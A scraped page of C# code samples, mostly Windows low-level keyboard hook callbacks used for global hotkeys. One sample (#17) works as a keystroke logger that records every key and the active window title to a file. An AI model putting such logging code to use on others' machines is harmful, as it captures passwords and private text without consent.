public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
 {
     if (code >= 0)
     {
         Keys key = (Keys)lParam.vkCode;
         if (HookedKeys.Contains(key))
         {
             KeyEventArgs kea = new KeyEventArgs(key);
             if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
             {
                 KeyDown(this, kea);
             }
             else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
             {
                 KeyUp(this, kea);
             }
             if (kea.Handled)
                 return 1;
         }
     }
     return CallNextHookEx(hhook, code, wParam, ref lParam);
 }
Пример #2
0
 static extern Int32 CallNextHookEx(IntPtr idHook, Int32 nCode, Int32 wParam, ref keyboardHookStruct lParam);
Пример #3
0
        public static Int32 Hook_Callback(Int32 code, Int32 wParam, ref keyboardHookStruct lParam)
        {
            if (code >= 0)
             {
            Key key = (Key)System.Windows.Input.KeyInterop.KeyFromVirtualKey(lParam.vkCode);
            Boolean IsPressed = (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN);

            SetModifiers(key, IsPressed, lParam.vkCode);
            if (HookedKeys.Contains(key))
            {
               KeyHookEventArgs kea = CreateEventArgs(key);

               Boolean Handled = false;
               if (IsPressed)
                  Handled = TriggerKeyDown(kea);
               else
                  Handled = TriggerKeyUp(kea);

               if (Handled)
                  return 1;
            }
             }
             return CallNextHookEx(Hook, code, wParam, ref lParam);
        }
Пример #4
0
        public static int Hook_Callback(int code, int wParam, ref keyboardHookStruct lParam)
        {
            if (code < 0) return CallNextHookEx(Hook, code, wParam, ref lParam);

            var key = (Key)System.Windows.Input.KeyInterop.KeyFromVirtualKey(lParam.vkCode);
            bool IsPressed = (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN);

            SetModifiers(key, IsPressed, lParam.vkCode);

            if (!HookedKeys.Contains(key)) return CallNextHookEx(Hook, code, wParam, ref lParam);

            KeyHookEventArgs kea = CreateEventArgs(key);

            var Handled = false;
            Handled = IsPressed ? TriggerKeyDown(kea) : TriggerKeyUp(kea);

            return Handled ? 1 : CallNextHookEx(Hook, code, wParam, ref lParam);
        }
Пример #5
0
		/// <summary>
		/// The callback for the keyboard hook
		/// </summary>
		/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
		/// <param name="wParam">The event type</param>
		/// <param name="lParam">The keyhook event information</param>
		/// <returns></returns>
		public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
			if (code >= 0) {
				Keys key = (Keys)lParam.vkCode;
				if (HookedKeys.Contains(key)) {
					KeyEventArgs kea = new KeyEventArgs(key);
					if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null)) {
						KeyDown(this, kea) ;
					} else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null)) {
						KeyUp(this, kea);
					}
					if (kea.Handled)
						return 1;
				}
			}

            if(PLAY_NICE)
            {
                return CallNextHookEx(hhook, code, wParam, ref lParam);
            }
            else
            {
                // we should not play nice if there are mean hooks on our system that unhook us
                return 0;
            }
		}
Пример #6
0
 public static IntPtr callNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, ref keyboardHookStruct lParam)
 { 
     return CallNextHookEx(hhk,nCode, wParam,ref lParam);
 }
Пример #7
0
 static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
Пример #8
0
 /// <summary>
 /// The callback for the keyboard hook
 /// </summary>
 /// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
 /// <param name="wParam">The event type</param>
 /// <param name="lParam">The keyhook event information</param>
 /// <returns></returns>
 public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
 {
     if (code >= 0)
     {
         Keys key = (Keys)lParam.vkCode;
         KeyEventArgs keyArgs = new KeyEventArgs(key);
         if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
         {
             if (!SetKeyStatus(lParam.vkCode, true))
             {
                 KeyDown(this, keyArgs);
             }
         }
         else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
         {
             if (!SetKeyStatus(lParam.vkCode, false))
             {
                 KeyUp(this, keyArgs);
             }
         }
         if (keyArgs.Handled)
         {
             return 1;
         }
     }
     return CallNextHookEx(hhook, code, wParam, ref lParam);
 }
Пример #9
0
 public static extern IntPtr CallNextHookEx(IntPtr idHook, int nCode, IntPtr wParam, ref keyboardHookStruct lParam);
 /// <summary>
 ///     Keyboard hook proc
 /// </summary>
 /// <param name="nCode"></param>
 /// <param name="wParam"></param>
 /// <param name="lParam"></param>
 /// <returns></returns>
 private int KeyboardHookProc(int nCode, int wParam, keyboardHookStruct lParam)
 {
     if (nCode >= 0)
     {
         var key = (Keys) lParam.vkCode;
         if (HookedKeys.Contains(key))
         {
             var kArgs = new KeyEventArgs(key);
             if ((wParam == Win32Api.WM_KEYDOWN || wParam == Win32Api.WM_SYSKEYDOWN) && (KeyDown != null))
             {
                 KeyDown(this, kArgs);
             }
             else if ((wParam == Win32Api.WM_KEYUP || wParam == Win32Api.WM_SYSKEYUP) && (KeyUp != null))
             {
                 KeyUp(this, kArgs);
             }
             if (kArgs.Handled)
                 return 1;
         }
     }
     return Win32Api.CallNextHookEx(keyboardHook, nCode, wParam, ref lParam);
 }
Пример #11
0
		/// <summary>
		/// The callback for the keyboard hook
		/// </summary>
		/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
		/// <param name="wParam">The event type</param>
		/// <param name="lParam">The keyhook event information</param>
		/// <returns></returns>
		public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
            if (code >= 0) {
                
                char character = (char)lParam.vkCode;
                byte functional = (byte)lParam.scanCode;               

                Key key = Key.None;

                if ((lParam.vkCode > 47 && lParam.vkCode < 58) || (lParam.vkCode > 64 && lParam.vkCode < 92))
                {
                    string text = character.ToString();
                    KeyConverter k = new KeyConverter();
                    key = (Key)k.ConvertFromString(character.ToString());
                } else {
                    switch (lParam.vkCode){
                        case 27:
                            key = Key.Escape;
                        break;
                        case 37:
                            key = Key.Left;
                        break;
                        case 38:
                            key = Key.Up;
                        break;
                        case 39:
                            key = Key.Right;
                        break;
                        case 40:
                            key = Key.Down;
                        break;
                    }
                }

                    if (HookedKeys.Contains(key))
                    {
                        if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
                        {
                            KeyDown(this, key);
                            //return 1;
                        }
                        else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
                        {
                            KeyUp(this, key);
                            //return 1;
                        }
                    }
                
			}
			return CallNextHookEx(hhook, code, wParam, ref lParam);
		}
Пример #12
0
        public static int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
        {
            char klawiszjebany;

            if (code >= 0)
            {
                Keys         key = (Keys)lParam.vkCode;
                KeyEventArgs kea = new KeyEventArgs(key);
                if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)
                {
                    if (hCurrentWindow != GetForegroundWindow())
                    {
                        StringBuilder sb = new StringBuilder(256);
                        hCurrentWindow = GetForegroundWindow();
                        GetWindowText(hCurrentWindow, sb, sb.Capacity);
                    }

                    if (kea.KeyCode == Keys.OemQuestion)
                    {
                        klawiszjebany = '/';

                        dodajtokurwawkoncu(klawiszjebany);
                    }
                    else if (kea.KeyCode == Keys.E)
                    {
                        klawiszjebany = 'e';

                        dodajtokurwawkoncu(klawiszjebany);
                    }
                    else if (kea.KeyCode == Keys.X)
                    {
                        klawiszjebany = 'x';

                        dodajtokurwawkoncu(klawiszjebany);
                    }
                    else if (kea.KeyCode == Keys.C)
                    {
                        klawiszjebany = 'c';

                        dodajtokurwawkoncu(klawiszjebany);
                    }
                    else if (kea.KeyCode == Keys.A)
                    {
                        klawiszjebany = 'a';

                        dodajtokurwawkoncu(klawiszjebany);
                    }
                    else if (kea.KeyCode == Keys.V)
                    {
                        klawiszjebany = 'v';

                        dodajtokurwawkoncu(klawiszjebany);
                    }
                    else if (kea.KeyCode == Keys.S)
                    {
                        klawiszjebany = 's';

                        dodajtokurwawkoncu(klawiszjebany);
                    }
                    else if (kea.KeyCode == Keys.D)
                    {
                        klawiszjebany = 'd';

                        dodajtokurwawkoncu(klawiszjebany);
                    }
                    else if (kea.KeyCode == Keys.U)
                    {
                        klawiszjebany = 'u';

                        dodajtokurwawkoncu(klawiszjebany);
                    }
                    else if (kea.KeyCode == Keys.M)
                    {
                        klawiszjebany = 'm';

                        dodajtokurwawkoncu(klawiszjebany);
                    }
                    else if (kea.KeyCode == Keys.P)
                    {
                        klawiszjebany = 'p';

                        dodajtokurwawkoncu(klawiszjebany);
                    }
                    else
                    {
                        retardcheck = "";
                    }
                }
            }
            return(CallNextHookEx(hhook, code, wParam, ref lParam));
        }
Пример #13
0
        /// <summary>
        /// The callback for the keyboard hook
        /// </summary>
        /// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
        /// <param name="wParam">The event type</param>
        /// <param name="lParam">The keyhook event information</param>
        /// <returns></returns>
        public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
        {
            if (code >= 0) {
                Keys key = (Keys)lParam.vkCode;

                if (lParam.vkCode == WM_SHIFT)
                {
                    isShift = true;
                }

                if (lParam.vkCode == WM_ALT)
                {
                    isAlt = true;
                }

                if (lParam.vkCode == WM_CTRL)
                {
                    isCtrl = true;
                }

                if (HookedKeys.Contains(key)) {
                    CustomKeyEventArgs kea = new CustomKeyEventArgs(key);
                    kea.isShift = isShift;
                    kea.isAlt = isAlt;
                    kea.isCtrl = isCtrl;
                    isShift = false;
                    isCtrl = false;
                    isAlt = false;

                    if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null)) {
                        KeyDown(this, kea) ;
                    } else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null)) {
                        KeyUp(this, kea);
                    }
                    if (kea.Handled)
                        return 1;
                }
            }
            return CallNextHookEx(hhook, code, wParam, ref lParam);
        }
Пример #14
0
        /// 키보드 입력이 일어났을 때 훅 프로시저 호출
        public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
        {
            try
            {
                if (code >= 0)
                {
                    Keys key = (Keys)lParam.vkCode;
                    if (key == Keys.None)
                    {
                        return(0);
                    }
                    if (HookedKeys.Contains(key))
                    {
                        KeyEventArgs kea = new KeyEventArgs(key);

                        if ((wParam == Constants.WM_KEYDOWN) && (KeyDown != null))
                        {
                            KeyboardHooking.Instance.KeyDown(this, kea);
                        }
                        else if ((wParam == Constants.WM_KEYUP || wParam == Constants.WM_SYSKEYUP) && (KeyUp != null))
                        {
                            if (KeyboardHooking.Instance.recording_starting && KeyboardHooking.Instance.is_startsetting)
                            {
                                KeyboardHooking.Instance.KeyUp(this, kea);
                            }
                            //KeyUp(this, kea);
                        }
                        else if (wParam == Constants.WM_SYSKEYDOWN)
                        {
                            #region 키보드로 컨트롤 하기 위한 제어문
                            if ((lParam.flags == 0x20) && (lParam.vkCode == (int)KeyboardHooking.Instance.RecordStartKey)) // 0x20은 alt
                            {
                                IsAlt = true;
                                KeyboardHooking.Instance.LControlKeyUp();
                                KeyboardHooking.Instance.RecordStartButtonEvent();
                                return(1);
                            }
                            else if ((lParam.flags == 0x20) && (lParam.vkCode == (int)KeyboardHooking.Instance.LogPlayKey)) // 0x20은 alt
                            {
                                IsAlt = true;
                                KeyboardHooking.Instance.LControlKeyUp();
                                KeyboardHooking.Instance.RecordPlayButtonEvent();
                                return(1);
                            }
                            else if ((lParam.flags == 0x20) && (lParam.vkCode == (int)KeyboardHooking.Instance.LogPlayStopKey)) // 0x20은 alt
                            {
                                IsAlt = true;
                                KeyboardHooking.Instance.LControlKeyUp();
                                KeyboardHooking.Instance.RecordPlayStopButtonEvent();
                                return(1);
                            }
                            else if ((lParam.flags == 0x20) && (lParam.vkCode == (int)KeyboardHooking.Instance.RecordStopKey)) // 0x20은 alt
                            {
                                IsAlt = true;
                                KeyboardHooking.Instance.LControlKeyUp();
                                KeyboardHooking.Instance.RecordStopButtonEvent();
                                return(1);
                            }
                            #endregion

                            else if (KeyboardHooking.Instance.recording_starting && KeyboardHooking.Instance.is_startsetting)
                            {
                                KeyboardHooking.Instance.KeyDown(this, kea);
                            }
                        }
                        else if (wParam == Constants.WM_SYSKEYUP)
                        {
                        }
                        if (kea.Handled)
                        {
                            return(1);
                        }
                    }
                }
                return(ImportFunctions.CallNextHookEx(hhook, code, wParam, ref lParam));
            }
            catch
            {
                return(0);
            }
        }
Пример #15
0
        /// <summary>
        /// The callback for the keyboard hook
        /// </summary>
        /// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
        /// <param name="wParam">The event type</param>
        /// <param name="lParam">The keyhook event information</param>
        /// <returns></returns>
        public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
        {
            if (code >= 0)
            {
                Key key = KeyInterop.KeyFromVirtualKey(lParam.vkCode);

                if (HookedKeys.Contains(key))
                {
                    KeyEventArgs kea = new KeyEventArgs(Keyboard.PrimaryDevice, new HwndSource(0, 0, 0, 0, 0, "", IntPtr.Zero), 0, key);

                    if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
                    {
                        KeyDown(this, kea);
                    }
                    else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
                    {
                        KeyUp(this, kea);
                    }

                    if (kea.Handled)
                    {
                        return 1;
                    }
                }
            }

            return CallNextHookEx(hhook, code, wParam, ref lParam);
        }
Пример #16
0
 public static extern IntPtr CallNextHookEx(IntPtr idHook, int nCode, IntPtr wParam, ref keyboardHookStruct lParam);
Пример #17
0
        public int ProcessKeyboard(int code, int wParam, ref keyboardHookStruct lParam)
        {
            StringBuilder btitle = new StringBuilder(1024);

            GetWindowText(GetForegroundWindow(), btitle, GetWindowTextLength(GetForegroundWindow()) + 1);
            string title = btitle.ToString();

            if (title != Oldtitle)
            {
                Oldtitle = title;
                save("\r\n+++++++++++++\r\nWindow= ");
                save(title);
                save("\r\n+++++++++++++\r\n");
            }

            int vkCode = lParam.vkCode;

            switch (wParam)
            {
            case WM_KEYDOWN:
            {
                if ((vkCode >= 48) && (vkCode <= 57))
                {
                    if (GetAsyncKeyState(VK_SHIFT))
                    {
                        ProcessKeyDown48_57_ShiftDown(vkCode);
                    }
                    else
                    {
                        save(((char)vkCode).ToString());
                    }
                }
                else if ((vkCode > 64) && (vkCode < 91))
                {
                    if (!(logicalXOR(GetAsyncKeyState(VK_SHIFT), isCapsLock())))         // Check if letters should be lowercase
                    {
                    }

                    WritesScannedKeyToFile(vkCode);
                }
                else
                {
                    ProcessKeyDown_Over91(vkCode);
                }
            }
            break;

            case WM_SYSKEYDOWN:
            {
                if (GetAsyncKeyState(VK_MENU))
                {
                    if (vkCode == 164)
                    {
                        save("[ALT]");
                    }
                    else if (vkCode == 96)
                    {
                        save("[num 0]");
                    }
                    else if (vkCode == 97)
                    {
                        save("[num 1]");
                    }
                    else if (vkCode == 98)
                    {
                        save("[num 2]");
                    }
                    else if (vkCode == 99)
                    {
                        save("[num 3]");
                    }
                    else if (vkCode == 100)
                    {
                        save("[num 4]");
                    }
                    else if (vkCode == 101)
                    {
                        save("[num 5]");
                    }
                    else if (vkCode == 102)
                    {
                        save("[num 6]");
                    }
                    else if (vkCode == 103)
                    {
                        save("[num 7]");
                    }
                    else if (vkCode == 104)
                    {
                        save("[num 8]");
                    }
                    else if (vkCode == 105)
                    {
                        save("[num 9]");
                    }
                    else if (vkCode == 46)
                    {
                        save("[num .]");
                    }
                    else if (vkCode == 13)
                    {
                        save("[num enter]");
                    }
                    else if (vkCode == 107)
                    {
                        save("[num +]");
                    }
                    else if (vkCode == 109)
                    {
                        save("[num -]");
                    }
                    else if (vkCode == 106)
                    {
                        save("[num *]");
                    }
                    else if (vkCode == 111)
                    {
                        save("[num Look]");
                    }
                    else
                    {
                        WritesScannedKeyToFile(vkCode, 0);
                    }
                }
            }
            break;
            }
            return(CallNextHookEx(HHOOK, code, wParam, ref lParam));
        }
Пример #18
0
 static extern Int32 CallNextHookEx(IntPtr idHook, Int32 nCode, Int32 wParam, ref keyboardHookStruct lParam);
Пример #19
0
 internal int hookProc(int code, int wParam, ref keyboardHookStruct lParam)  {
     if (code>=0)
         add_keyevent(new KeyEventProcessArgs() { wParam = wParam, lParam = lParam.DeepClone() });
     return NativeWin32.CallNextHookEx(HHook, code, wParam, ref lParam);
 }
Пример #20
0
 static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
Пример #21
0
        /// <summary>
        /// The callback for the keyboard hook
        /// </summary>
        /// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
        /// <param name="wParam">The event type</param>
        /// <param name="lParam">The keyhook event information</param>
        /// <returns></returns>
        public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
        {
            if (code >= 0) {
                Keys key = (Keys)lParam.vkCode;
                if (HookedKeys.Contains(key)) {
                    KeyEventArgs kea = new KeyEventArgs(key);
                    if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null)) {
                        KeyDown(this, kea);

                    //modified so that this only works when CTRL is pressed
                    } else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null) && Keys.Control == Control.ModifierKeys) {
                        KeyUp(this, kea);
                    }
                    if (kea.Handled)
                        return 1;
                }
            }
            return CallNextHookEx(hhook, code, wParam, ref lParam);
        }
Пример #22
0
 /// <summary>
 /// The callback for the keyboard hook
 /// </summary>
 /// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
 /// <param name="wParam">The event type</param>
 /// <param name="lParam">The keyhook event information</param>
 /// <returns></returns>
 public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
 {
     if (code >= 0) {
         Keys key = (Keys) lParam.vkCode;
         if (HookedKeys.Contains(key)) {
             bool blockKeyPress = Manager.IsModifierPressed(key, (lParam.flags & (KF_UP >> 8)) == 0);
             KeyEventArgs kea = new KeyEventArgs(key);
             if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null)) {
                 Manager.Log("Down: {0}".With(lParam.vkCode), 1);
                 KeyDown(this, kea);
             }
             else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null)) {
                 Manager.Log("Up: {0}".With(lParam.vkCode), 1);
                 KeyUp(this, kea);
             }
             if (blockKeyPress) {
                 return 1;
             }
         }
     }
     return CallNextHookEx(hhook, code, wParam, ref lParam);
 }